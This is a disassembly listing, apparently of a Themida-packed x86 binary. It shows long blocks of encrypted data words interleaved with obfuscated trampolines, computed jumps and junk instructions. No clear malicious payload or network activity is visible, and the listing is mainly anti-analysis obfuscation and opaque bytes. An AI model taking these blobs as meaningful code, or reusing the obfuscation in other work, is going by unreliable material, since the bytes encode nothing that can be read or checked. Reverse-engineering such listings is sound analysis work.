		pop	esp
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		dd 0B7FAEF44h, 64AAD5D6h, 74B84542h, 3061C53h, 16E0FFC5h
		dd 616172BAh, 8D2714DAh, 8F7FA031h, 4A1A4Fh, 3B040486h
		dd 0D129402h, 0A07C8D07h, 0D763BDE0h, 0F1489ECEh, 0C409B9AFh
		dd 291BD0A8h, 0D620B52Ch, 476A3AC2h, 0F039ABCh,	0D301EA1h
		dd 8D51850Bh, 1C55808Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1604h, 0C3574700h, 8B0286ACh, 14254585h
		dd 698D8906h, 0E806142Bh, 14h, 0A9F0D8D3h, 1200705Bh, 4C089F7Bh
		dd 0A46C9931h, 460AE877h, 11E9h, 77204F00h, 7DE24A94h
		dd 5CBF144Ch, 50DB3234h, 895FD1B4h, 141A91BDh, 5585C706h
		dd 3C061410h, 81000062h, 0E55276CAh, 3D85C705h,	61401h
		dd 6A000000h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0D71EC357h, 61B5FFCFh,	6A061400h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 0D16BC357h, 0D95A723Ch, 0FF8B5758h, 140BD995h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1604h
		dd 0C3534300h, 0E8A9CE6Eh, 12h,	436134E1h, 0A9630B73h
		dd 0D375DC04h, 0B526433Eh, 10E886CEh, 0B9000000h, 0DC3E627Ah
		dd 0AAFA18B7h, 8A6316F3h, 81C5891Eh, 0EFFDDBD8h, 2B5E5B04h
		dd 1430ED85h, 0FF006A06h, 14297195h, 0EBC08B06h, 0A88DF06Eh
		dd 3ECCD5E8h, 15B93C86h, 2A986529h, 0B4FD50DAh,	8739316Ch
		dd 0A9290181h, 5C8F9992h, 939FCC64h, 0BAB06490h, 80A58E3Ah
		dd 0E998EA40h, 1A6EFA14h, 0E74A6356h, 7CDC3DF5h, 83433136h
		dd 73D6BD6Dh, 5FA3324Ch, 4288EC8Bh, 3733B681h, 51640F48h
		dd 141D9115h, 2608290Eh, 671AD93Ch, 23A9A814h, 961EA16Eh
		dd 9DF891F6h, 8DD3A306h, 1C56DF8Dh, 56006A06h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1804h,	0C3564600h, 6E14BD4Bh
		dd 698D890Ch, 6006142Bh, 0F5B58BFCh, 6106141Fh,	105585C7h
		dd 72240614h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 0A18127C3h, 839791EFh, 85C71AB0h
		dd 614013Dh, 0
; ---------------------------------------------------------------------------
		push	0
		push	edx
		call	sub_603207
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_603207	proc near		; CODE XREF: Themida_:006031FFp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Bh
		inc	edx
		push	edx
		retn
sub_603207	endp

; ---------------------------------------------------------------------------
		db 0BBh
		dd 7F3250C9h, 66895DB5h, 4FD2C881h, 0AE9h, 854AC900h, 8A2FFA37h
		dd 0FFC9C722h, 140499B5h, 0CE96006h, 1B000000h,	36742749h
		dd 5A825259h, 0E929EF09h, 11h, 4230BE01h, 71BFDF99h, 0F25C7D72h
		dd 163E5C69h, 95FF6180h, 6140BD9h, 6810Fh, 0D3810000h
		dd 2694D6AAh, 95FF006Ah, 6142971h, 7AEBC08Bh, 0BE54741Dh
		dd 8B59B12Dh, 11B58B16h, 8EF0C7F3h, 0C9DE27C3h,	0CA433FDh
		dd 0DFF6ACEAh, 0B1F19AF2h, 0EB139675h, 0C65A11EAh, 0F95F61B8h
		dd 0D7D06BBFh, 7A3ACEE1h, 0A10FAB65h, 731F436Dh, 3349BFA7h
		dd 0D08BD3B0h, 3FE22CB7h, 353668CCh, 79E0778Ch,	2FF7EA19h
		dd 0C16901C1h, 63EACDBBh, 0E5E399FEh, 0E774666Bh, 746AAD0Fh
		dd 2510238Bh, 36E31460h, 10E141CEh, 3067C673h, 11E9EA15h
		dd 0C9000000h, 7037F0h,	3 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_603845
; ---------------------------------------------------------------------------
		db 1Eh,	0EEh, 0B3h
		dd 0DECFF06Fh, 0C7C2CD5Ah, 0EFA6A443h, 108DBC2Bh, 1DA58F0Ch
		dd 0F06FB3EEh, 0C956DAD3h, 0A13EC2BDh, 4D28EC9Fh, 0C582B1FEh
		dd 0F20155ECh, 399BE177h, 535F1288h, 65675FC1h,	48460536h
		dd 926EDD5Ah, 61E553F0h, 68F7B77Dh, 47E02459h, 59265645h
		dd 3B447427h, 281B840Ah, 0AB53F092h, 0F88883A7h, 0E8824797h
		dd 9D1A313Ah, 53F077AEh, 0D3D32125h, 92B1D8B7h,	0BE8D2A70h
		dd 3553F077h, 0FDB8D651h, 0BECA55D9h, 0A4A03FC3h, 818ED1E9h
		dd 596BF404h, 37552A22h, 7D9A4C7Ch, 0CEB0C16h, 14AAA6E5h
		dd 88CBCF9h, 7788D7E4h,	8092F606h, 463557D0h, 774BF736h
		dd 876853F0h, 71BC6270h, 4A1A8595h, 0A0143601h,	483BF9EEh
		dd 55h,	36656764h, 4C494605h, 0D36ECF3Ch, 5053F092h, 7A4AC8ECh
		dd 0F092063Bh, 3B523D53h, 192875E0h, 9A53F092h,	4E9C7CB6h
		dd 6885948Ch, 1, 0CC666744h, 0ACDCC0BDh, 0C3FBB2D3h, 0E7178EBCh
		dd 0EB5828A3h, 69444ED4h, 2148171Dh, 68ACE1E2h,	5ADECDFFh
		dd 35686798h, 54497A05h, 2E45F224h, 72E65F3h, 6CB93D1Bh
		dd 181A91B3h, 0C5494443h, 4575285Ah, 0F3A7BD6h,	8453F071h
		dd 0B2DD7280h, 0EC8CC4F7h, 0BE8D2AEBh, 3553F0AEh, 0E146DF51h
		dd 0C897171Dh, 0A9B6C6B7h, 86B5F298h, 1D53F01Dh, 62E51539h
		dd 222D5CB3h, 0E7664367h, 19AC4290h, 622A8595h,	86000000h
		dd 5356867h, 3A524F7Ah,	0B5F26D1Eh, 53F09286h, 14FB391Dh
		dd 0C2BFCEFDh, 1E93B2C9h, 0C4C35C14h, 0A0ABB2C9h, 0DAD133E5h
		dd 0A2DCE5FAh, 0FD0B5450h, 2C2B7686h, 7F77B5C5h, 51678595h
		dd 4D000000h, 5356867h,	3B534E7Ah, 0F5441C0Fh, 732E5D3Eh
		dd 2A29FF5Bh, 0A837FD1Fh, 75030241h, 0F1355954h, 37666723h
		dd 92A4A607h, 0F69953F0h, 8C8D539Fh, 92E98594h,	85013974h
		dd 12FC8Fh, 16810000h, 0F66BA89h, 0B6A739ACh, 0AC1C9F59h
		dd 9B9D97BBh, 0DDD8F48Bh, 34EB29ADh, 136C9C19h,	4C3F41F1h
		dd 58B71028h, 0BAF71231h, 0D2CFFA81h, 1CD45EBAh, 80B3FC6Fh
		dd 353F092h, 20C1F53Fh,	0B8862754h, 0B949DC62h,	0A8DAA5D5h
		dd 0CA6BC6F5h, 55E49D7Fh, 0BB3262F4h, 6A1F3B19h, 0F7AAD946h
		dd 1B143C7h, 12296466h,	0DBEB7042h, 0BECD3F97h,	2B4FCBC3h
		dd 1F6EDDE9h, 2283B8F3h, 55E48417h, 6B6AA8ACh, 55E484D6h
		dd 0A2DAD7F2h, 0DBF3AEDDh, 847CCF68h, 93F755E4h, 0DC668D6Ch
		dd 0B9C82F68h, 91E71487h, 6C8D8F24h, 0BD75BF47h, 5E6D2022h
		dd 738B020Fh, 0DEA11D17h, 2FD9F1ACh, 487A89E0h,	0A3BAD155h
		dd 7BDFEFA6h, 2B0BD1B9h, 48AB8BA9h, 1000001h, 0D8D5F48Bh
		dd 0F583625Ah, 90D959C6h, 361A49DCh, 49444605h,	6264FBCBh
		dd 4678E72Bh, 9054E740h, 6BEF55E4h, 16283747h, 52DE7995h
		dd 35599F80h, 70F14E06h, 7F21BE54h, 597609B5h, 5A5FEA4Bh
		dd 70D455E4h, 25233C4Ch, 5D3A5E6Eh, 7D9AEC36h, 0FA81B16h
		dd 55E45A3Ch, 8A41D3B7h, 8A010578h, 5AA39E1Fh, 5C2055E4h
		dd 54E40AD6h, 22328BA9h, 9293C82h, 0A95AD86Eh, 38h, 1F658007h
		dd 929043ECh, 5C14D3F0h, 73A56AB6h, 1868AA5Fh, 96A50434h
		dd 81D3F026h, 9A6FB7DEh, 94B8F315h, 266BC667h, 64E853F0h
		dd 994AA0h, 2590000h, 9C868C01h, 0E01B6180h, 0DBE0FF75h
		dd 0A1CCF645h, 8CA06253h, 4F1E49DCh, 0D93D4D40h, 132B2F5Bh
		dd 0BF433A4Ch, 5F6F1E20h, 0E47D6EDEh, 4A434055h, 631E2D32h
		dd 0F71EBD6Bh, 59B0DF33h, 5665182Ah, 8D87F617h,	95B7B6C5h
		dd 49982CE6h, 0CE9D0803h, 4CC8C0BDh, 0D585D7C6h, 0FA5E4FC0h
		dd 0B9E651C2h, 5FC1D48Ah, 0EC1A0509h, 9AAC63B1h, 8D6CEBE3h
		dd 5B21C066h, 7C558720h, 9BE945E5h, 0F57D3D58h,	0AADE5413h
		dd 0D0137954h, 0BCA091F7h, 0BB06F98Fh, 0FAD2A333h, 80BA7838h
		dd 99E01B61h, 9A1B306Bh, 53F092AFh, 0D1D22024h,	0D43A0454h
		dd 4279DD49h, 0A37F0832h, 0F73D6FDEh, 0E796A8B7h, 397495D4h
		dd 0CB8F8501h, 5B732A5Ch, 0D8CA46DAh, 5DB463DFh, 9D611C2Eh
		dd 7D8D0002h, 91A9E4E2h, 91B0C736h, 83F83C6Fh, 64C1CFFCh
		dd 2FB722D5h, 0B6C6EA6Eh, 0F90BC052h, 22390895h, 0D6BA2FB7h
		dd 8889AB2h, 9F000000h,	49CBC2C0h, 67A68CC7h, 7B043467h
		dd 253A5249h, 15E6E29h,	0EE718904h, 0D5AAA2DFh,	0BCC3FBB6h
		dd 98E7178Eh, 4718306Dh, 1F275746h, 2BBB68h, 241C8900h
		dd 18CE68h, 242C8900h, 81E78957h, 4C7h,	4EF8100h, 87000000h
		dd 895C243Ch, 6857241Ch, 767936A2h, 83243C8Bh, 0F78104C4h
		dd 706561DBh, 545FFD89h, 83241C8Bh, 895104C4h, 84B89E9h
		dd 83240C8Bh, 1C8B04C4h, 0E1895124h, 4C181h, 0C1810000h
		dd 4, 5C240C87h, 5D2434FFh, 4C481h, 3DE90000h, 0A8FFF824h
		dd 0BB1C7CA2h
; ---------------------------------------------------------------------------
		pop	esi


loc_603845:				; CODE XREF: Themida_:00603310j
		mov	eax, 61C5C30h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 5078h
		dd 0DE7F00E6h, 0EDBB3A65h, 19937469h, 0DECC2508h, 819C649Eh
		dd 0D75A6F1Ah, 0E4E36565h, 20E9279Bh, 0DD000000h, 7D84BDh
		dd 6 dup(0)
		dd 0E9000000h, 5DCh, 0EC306B9Bh, 0D75B5273h, 0BC403D48h
		dd 0AA6E2523h, 8F930E3Dh, 6B9A280Ch, 5875F236h,	424ED95Dh
		dd 2224C347h, 77CAA76Bh, 0ECCE1B36h, 0B17B9855h, 0BECD6567h
		dd 0E58A531h, 1337EEEEh, 8180DFEFh, 3F69FF0Ch, 0FD809441h
		dd 3605A2D9h, 4D53F0B5h, 108F4BC9h, 4A4344EEh, 9AB2D632h
		dd 7D305229h, 0B7E618B7h, 0D6C7F887h, 0F3AED9A6h, 0F88384DBh
		dd 0D9A88289h, 56668A37h, 0E42E4532h, 1405700h,	0E07F8CFFh
		dd 0AC64AEDFh, 989C1733h, 5873030Fh, 7E01395Dh,	0A3245451h
		dd 0F9B4D1A8h, 20CF45C1h, 0E18EBAC9h, 4912F831h, 0B1CAEE51h
		dd 0E86AD946h, 65E953F0h, 4A7CEBAFh, 40FA3B53h,	7D53F0E8h
		dd 0D9A07B92h, 5F23F1ACh, 85950691h, 8F2Dh, 202B3200h
		dd 23F15565h, 9F188B39h, 53F092ACh, 3AD12327h, 25606E08h
		dd 5876B115h, 85A92D5Dh, 0AAB0675h, 53F0923Fh, 5342D0B4h
		dd 53F092EEh, 366EE6D5h, 0BB879D70h, 48AF4CC6h,	287A96D5h
		dd 0F007BC8Fh, 2F533753h, 5B6CBB1Fh, 64AE2A22h,	95215684h
		dd 16085h, 674C0000h, 0D2B7C566h, 0CAEF9194h, 0B8C996A6h
		dd 9CAAB5C5h, 0C2ADE9E1h, 980570ABh, 53F027A9h,	0F0ABDD2Ah
		dd 788946CCh, 0E27EF605h, 1911418Ch, 198632C0h,	0A270B4E7h
		dd 5356867h, 2754497Ah,	29851851h, 7AB835E9h, 187F9C4Ah
		dd 63A7DAE9h, 0B3CBC2C4h, 3816A1ACh, 8F9D9BE8h,	69611C37h
		dd 95A5C9EDh, 54A6CD08h, 8594EB96h, 8400h, 6867AC00h, 3B960535h
		dd 0F0924FFAh, 12B2C453h, 0A9E8B9F0h, 4E1D173Bh, 29364643h
		dd 1669611Ch, 0CB8FBFFAh, 0D93D056Ch, 0D9E8177Eh, 0B82B60A4h
		dd 0F010CC7Fh, 31C34753h, 6366B9Ah, 38504B79h, 33AEA6E5h
		dd 7DF912A3h, 378864CCh, 8BAF4278h, 908BE289h, 32C0BBC9h
		dd 94A590AEh, 5A0E85h, 45130000h, 3C7CF2CFh, 3D27ED58h
		dd 5356867h, 3B534E7Ah,	9AA9C00Fh, 4F05366Bh, 0A0C8F47Bh
		dd 47F301E6h, 3766678Dh, 19FC4C04h, 6427BD5Fh, 0A39F1EAEh
		dd 9053F0E2h, 0CF8598FFh, 0F43B896Ah, 39C153F7h, 85951AF3h
		dd 0C40C3543h, 66D1279Dh, 6D3ACh, 19600000h, 0FE60B2EDh
		dd 0DCD9F48Bh, 138EB956h, 0F13168F8h, 0F4047789h, 0D529E90h
		dd 1C2F8883h, 9753F0C6h, 3A4561B3h, 0E2659508h,	0A2ADDC33h
		dd 7395D4E7h, 0A5C9C4C3h, 26564B7Ah, 0E0A050A2h, 39407B01h
		dd 0EF79910Ch, 0A22FFD86h, 0C74D715Fh, 0D5F289E4h, 0EE24A0D8h
		dd 0DCD4AFEFh, 0B940749h, 55E45738h, 255DD7BBh,	34562921h
		dd 87C6B579h, 62E61685h, 577DCC69h, 92F655E4h, 0C2B9CB80h
		dd 62D15EC9h, 0E155E457h, 0A417979Dh, 25EFAAA5h, 0E45797A8h
		dd 187F9855h, 60A4D7E9h, 0A5D6C5C7h, 0D0E8A5A6h, 710EBE74h
		dd 0F6A5A74Fh, 2E5E42C6h, 15345BF8h, 0D874B8F3h, 8BA95212h
		dd 166ACh, 0F48B0800h, 2BAFDFD6h, 0B234D5E9h, 0CBFDFCAEh
		dd 5D6E9287h, 0DC6852D0h, 9FAF9349h, 0BCCFBEC0h, 0F11EA0ADh
		dd 1C7890B4h, 848E0503h, 7A3153CCh, 620B3D42h, 22E26F4Bh
		dd 0D2C5090Fh, 3EFCF9EEh, 10C6F61Ah, 4B7D8CE3h,	0FEE299ABh
		dd 83A413Ah, 2A225F6Eh,	16728AAEh, 91AE7C1Ch, 5DC88BA8h
		dd 5D000000h, 1E23B507h, 46753C2Ch, 0E3906AD9h,	0AF65E955h
		dd 1F6580A5h, 929043ECh, 5514D3F0h, 0C7437B36h,	9BAA354Dh
		dd 6BCAC2E6h, 0D3F092D8h, 96B5B4F7h, 5467E31Bh,	0F09278CBh
		dd 9D97FBD3h, 7A8F97FEh, 0E1B0FD0Eh, 6253F092h,	719EED1Eh
		dd 4681EFC6h, 85A937F8h, 0A811CB8Fh, 9F000000h,	0E01B6180h
		dd 3FA59490h, 0E23004E1h, 47A264C1h, 0C5B49DCh,	6B608401h
		dd 8DBDF814h, 0A4BB0B09h, 0B827EBA2h, 89E41786h, 0E4A71D2Ch
		dd 60B29655h, 0A65BE544h, 275055E4h, 1C8FB1D0h,	3A7390EFh
		dd 0C48C8602h, 189AA8B7h, 3F9BB3EAh, 87FE0C1Bh,	27A8398Dh
		dd 0C3477726h, 0F431ACDFh, 55E4A445h, 0FB87ADEh, 0C009C6AEh
		dd 0EF1F634Fh, 0A4DFED7Ch, 4B862794h, 0C85FC001h, 3DD22044h
		dd 265D6B0Bh, 0AE8D0A02h, 7395D447h, 23C2FA38h,	0BDCB2655h
		dd 0C46A6741h, 2EAF6542h, 45E49646h, 0E9A4A5A4h, 4BBF75D1h
		dd 80F143C7h, 47E01B61h, 49D43FA1h, 3605A21Dh, 4D55ECCFh
		dd 0A93F4BC9h, 0F23B221Eh, 0F60529E0h, 5B2F1A9Bh, 0A0A455ECh
		dd 0FB0D5252h, 0E1E37C80h, 481392AAh, 20D84574h, 3E6F9022h
		dd 56668A0Eh, 7585F809h, 0AAA2DFEAh, 56BDDA2Eh,	688F68CCh
		dd 0B0742759h, 0C8984DBh, 7BB9F413h, 0D3EBA2A4h, 0F7077E8Ch
		dd 94D35C68h, 0AA19B17Bh, 7B043458h, 0CA39514Ch, 45EFDE6Dh
		dd 0CEF155D2h, 0BBF0086Fh, 27A38ED2h, 4CABCCF0h, 0A9E4E625h
		dd 0D2C0CB92h, 45DBE655h, 0F5197DD2h, 79007B3Fh, 0E299AB4Bh
		dd 324A6EEAh, 7D8F5CD6h, 128DFE0Eh, 45DBA695h, 0DB593DD2h
		dd 349h, 0A68CE700h, 4346767h, 3A52497Bh, 5E6E2925h, 71890401h
		dd 0AAA2DFEEh, 0C3FBB6D5h, 0E7178EBCh, 18306D98h, 27574647h
		dd 4EC831Fh, 50240489h,	405E089h, 83000000h, 48704E8h
		dd 2C895C24h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		mov	ebp, 79DB4C78h
		and	ebp, 3A4A454Ch
		inc	ebp
		shr	ebp, 6
		add	ebp, 66A60417h
		push	edx
		mov	edx, 9E952FD4h
		add	ebp, edx
		pop	edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		xor	dword ptr [esp], 30EA4A33h
		pop	dword ptr [edx+8]
		xor	dword ptr [edx+8], 30EA4A33h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		jmp	loc_585C7C
; ---------------------------------------------------------------------------
		mov	dl, 0B1h
		jo	short loc_603E70
		fsubr	dword ptr [ebp+4C1A1CCDh]


loc_603E70:				; CODE XREF: Themida_:00603E68j
		sub	esp, [esi-4Ch]
		lahf
		mov	eax, 61C624Dh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		add	ebp, ds:82E00B99h
		inc	ebp
		cmp	edx, ebp
		or	al, 2
		xor	edx, [esp+ecx+25505B72h]
		push	84FED76Bh
		jo	short loc_603EF7
		aas
		pop	esi
		cmp	bh, ah
		inc	eax
		enter	0FFFF8D6Fh, 8Dh
		shl	byte ptr [ebx+1Ch], cl
		push	es
		adc	bx, 8611h
		mov	[ebp+6142B69h],	ecx
		push	0
		push	ebx
		call	sub_603EB9
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_603EB9	proc near		; CODE XREF: Themida_:00603EB1p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 14h
		inc	ebx
		push	ebx
		retn
sub_603EB9	endp

; ---------------------------------------------------------------------------
		or	ecx, [ebx+14254D95h]
		push	es
		mov	dword ptr [ebp+6141055h], 5EA8h
		push	0
		push	edx
		call	sub_603EE5
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_603EE5	proc near		; CODE XREF: Themida_:00603EDDp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 19h
		inc	edx
		push	edx
		retn
sub_603EE5	endp

; ---------------------------------------------------------------------------
		db 54h,	0Fh
; ---------------------------------------------------------------------------


loc_603EF7:				; CODE XREF: Themida_:00603E94j
		mov	al, 3Fh
		mov	dl, dl
		mov	edi, 6DC24648h
		ja	loc_603F0C
		mov	eax, [ebp+614074Dh]


loc_603F0C:				; CODE XREF: Themida_:00603F00j
		mov	dword ptr [ebp+614013Dh], 0
		movsx	ebx, ax
		push	dword ptr [ebp+6140ECDh]
		push	0
		push	ebp
		call	sub_603F2A
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_603F2A	proc near		; CODE XREF: Themida_:00603F22p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_603F2A	endp

; ---------------------------------------------------------------------------
		dw 0FF6Ch
		dd 140BD995h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 5F424665h, 50476110h, 6AD38B66h
		dd 7195FF00h, 8B061429h, 9B1DEBC0h, 3BD7AAE6h, 6B7FA85Ah
		dd 199D1D10h, 76AE3916h, 0A19832CBh, 0B9150920h, 1FEB461Ch
		dd 0AE8h, 8F20F700h, 26DD29FDh,	89B1E03Fh, 143085B5h, 85895906h
		dd 6142C69h, 71E0C181h,	0B5290000h, 6140E91h, 270C11BBh
		dd 0CDEB8165h, 0E86526EFh, 0Ah,	3F01FF07h, 7F151F15h, 8B0FCF7Eh
		dd 0
; ---------------------------------------------------------------------------
		pop	edx


loc_603FD9:				; CODE XREF: Themida_:00604055j
		push	dword ptr [ecx]
		mov	esi, [ebp+61433A9h]
		pop	edi
		mov	edx, ecx
		sub	edi, 0A4E4D6Bh
		or	dh, 0F0h
		sub	edi, 63A0BA20h
		sub	ax, 0A4D9h
		xor	edi, 149DEA73h
		stc
		push	edi
		mov	ah, 2
		pop	dword ptr [ecx]
		mov	[ebp+614096Dh],	ebx
		sub	ecx, 3C620AA1h
		and	dl, 89h
		add	ecx, 3C620A9Dh
		mov	eax, [ebp+61401E9h]
		sub	ebx, 1
		jnz	loc_60404F
		jmp	loc_60403C
; ---------------------------------------------------------------------------
		dd 0BF39391Bh, 0AFF3F9ABh, 0F7528C9Ah
; ---------------------------------------------------------------------------


loc_60403C:				; CODE XREF: Themida_:0060402Bj
		jmp	loc_604069
; ---------------------------------------------------------------------------
		db 13h,	64h, 15h
		dd 0CE4A5836h, 0E5FA750Dh
; ---------------------------------------------------------------------------
		fadd	qword ptr [ecx]


loc_60404F:				; CODE XREF: Themida_:00604025j
		and	esi, 245B0CA3h
		jmp	loc_603FD9
; ---------------------------------------------------------------------------
		dw 5D12h
		dd 13C2E4F0h, 9DDBC597h, 7CD353B7h
; ---------------------------------------------------------------------------
		pop	edi


loc_604069:				; CODE XREF: Themida_:loc_60403Cj
		jmp	short loc_60407B
; ---------------------------------------------------------------------------
		align 4
		dd 3 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_60407B:				; CODE XREF: Themida_:loc_604069j
		mov	eax, eax
		xor	edx, [ebp+61412F9h]
		cmp	dword ptr [ebp+61410F1h], 0
		jnz	short loc_604095
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_6040AE


loc_604095:				; CODE XREF: Themida_:0060408Aj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A752h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_6040AE:				; CODE XREF: Themida_:00604093j
		cmp	dword ptr [ebp+6140E25h], 0
		jz	short loc_6040CE
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6141819h],	eax
		lea	ebx, [ebp+616A441h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_6040CE:				; CODE XREF: Themida_:006040B5j
		push	0
		push	esi
		call	sub_6040D9
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6040D9	proc near		; CODE XREF: Themida_:006040D1p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 14h
		inc	esi
		push	esi
		retn
sub_6040D9	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	dh, 21h
		push	0
		push	edi
		call	sub_6040F7
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6040F7	proc near		; CODE XREF: Themida_:006040EFp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_6040F7	endp

; ---------------------------------------------------------------------------
		db 20h
		dd 780F8C6Dh, 9BF55D09h, 0FC08BC5h, 68Ch, 41958B00h, 29061423h
		dd 140E2985h, 0B98D8B06h, 8B061401h, 141C4DB5h,	0F98306h
		dd 8B840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 13A84EC3h, 13A289B5h, 4AB21177h
		dd 8B64D08Ah, 2C3Dh, 4800F00h, 60000000h, 0B616160h, 4A840FFFh
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 7353C353h, 0EF35AB9Bh,	27BAD7A5h
		dd 8B6C3B6Fh, 0BE93Fh, 41F60000h, 0B2298879h, 221741ECh
		dd 8BC03292h, 141689B5h, 29AAF306h, 142675B5h, 41493506h
		dd 8D315350h, 6141C35h,	84985C6h, 6A470614h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 73C9C350h, 1495BB29h, 22868C6h, 8B66D4B3h, 240481F2h
		dd 8238604h, 5A07D9BAh,	65B5FF61h, 6A06142Ch, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 0FA03C356h, 0D03E0E63h, 0B70FB200h, 0FE858DF2h, 8B061778h
		dd 1423FD95h, 89D0FF06h, 1423FDB5h, 23575106h, 140A69B5h
		dd 895A5E06h, 14103985h, 0DE816606h, 85C6C65Bh,	6140849h
		dd 2251BE53h, 0D368217Dh, 662ACF56h, 481F28Bh, 0C9142924h
		dd 55006A5Dh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 0FF94A59Ah, 142C65B5h, 0C1B52B06h, 8D06141Ch
		dd 1778FE85h, 4DB52906h, 0FF06141Ch, 53006AD0h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1404h,	0C3534300h, 0D858D21h
		dd 0F061734h, 8589D3B7h, 6140801h, 0FB0CBE66h, 0FF6A206Ah
		dd 80195FFh, 49350614h,	0C7535041h, 142FE585h, 106h, 0BD85C700h
		dd 6140Fh, 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1B042444h, 43000000h, 0FFA1C353h, 4984E23Bh,	9528E5Ah
		dd 140A7D85h, 56505A06h, 1FA5958Bh, 5A5A0614h, 781858Bh
		dd 6A0614h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
		dd 56460000h, 0AD8A10C3h, 0D9B563B7h, 2DBE6381h, 6640D0DEh
		dd 0A1B9F281h, 0A364h, 0BD830000h, 6140CC9h, 19840F00h
		dd 8B000000h, 1424C995h, 51858B06h, 81061425h, 0DD4BC9E6h
		dd 66E08B35h, 0B987D681h, 0D19BD83h, 0F000614h,	37685h
		dd 218D3100h, 0C606140Eh, 14084985h, 6A5606h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0E63183C3h
		dd 197D7190h, 60C6F436h, 0CF19D89h, 0EB810614h,	252D687Ch
		dd 0D8026861h, 0E960C989h, 10h,	0C66D62C3h, 0D09E75C9h
		dd 6EA06E20h, 0E5475C20h, 61D88B66h, 0DD243481h, 89604CE8h
		dd 1430398Dh, 49B58B06h, 0FF06140Ch, 142C65B5h,	9B58906h
		dd 8D061420h, 1778FE85h, 0FD0FF06h, 198Ah, 14E900h, 0F06B0000h
		dd 49A834A2h, 8344C586h, 0D0956F7Ch, 0EC316951h, 5E89FCEh
		dd 0BB000000h, 4FA64F72h, 905AF38Ah, 8A0F52h, 5E000000h
		dd 0FEABE50h, 6A907B50h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 0AFA8C350h,	57B1A539h
		dd 1535B58Bh, 8D5E0614h, 1426418Dh, 0E991FC06h,	14h, 53BA7BCFh
		dd 1520FD24h, 79899A9Ah, 99358500h, 0DE69B4A8h,	0B2525050h
		dd 0E9310F85h, 0Fh, 7684D123h, 0A21901D1h, 42F14D03h, 5AEE9D90h
		dd 6A9158h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 46A2DC3h,	30F18D89h, 0B9680614h, 0E92F5C2Ah
		dd 6, 9DAEEE08h, 3481802Ch, 5C3AB924h, 58C0F2Fh, 0BA000000h
		dd 7843F735h, 23B5B5FFh, 9D010614h, 6140D1Dh, 6AD0FFh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 9ED13DC3h, 80972854h, 5160C942h, 8F0Fh, 895A0000h, 1406B195h
		dd 0BD8B6106h, 61423B5h, 8B3C7F03h, 141235B5h, 0C5952906h
		dd 81061402h, 0F8C7h, 7E900h, 64290000h, 0DC8BEFFBh, 2447C772h
		dd 60000020h, 48B0Fh, 0BA660000h, 0BD836610h, 61C64CFh
		dd 15840F00h, 6A000001h, 3E85300h, 20000000h, 895BC35Bh
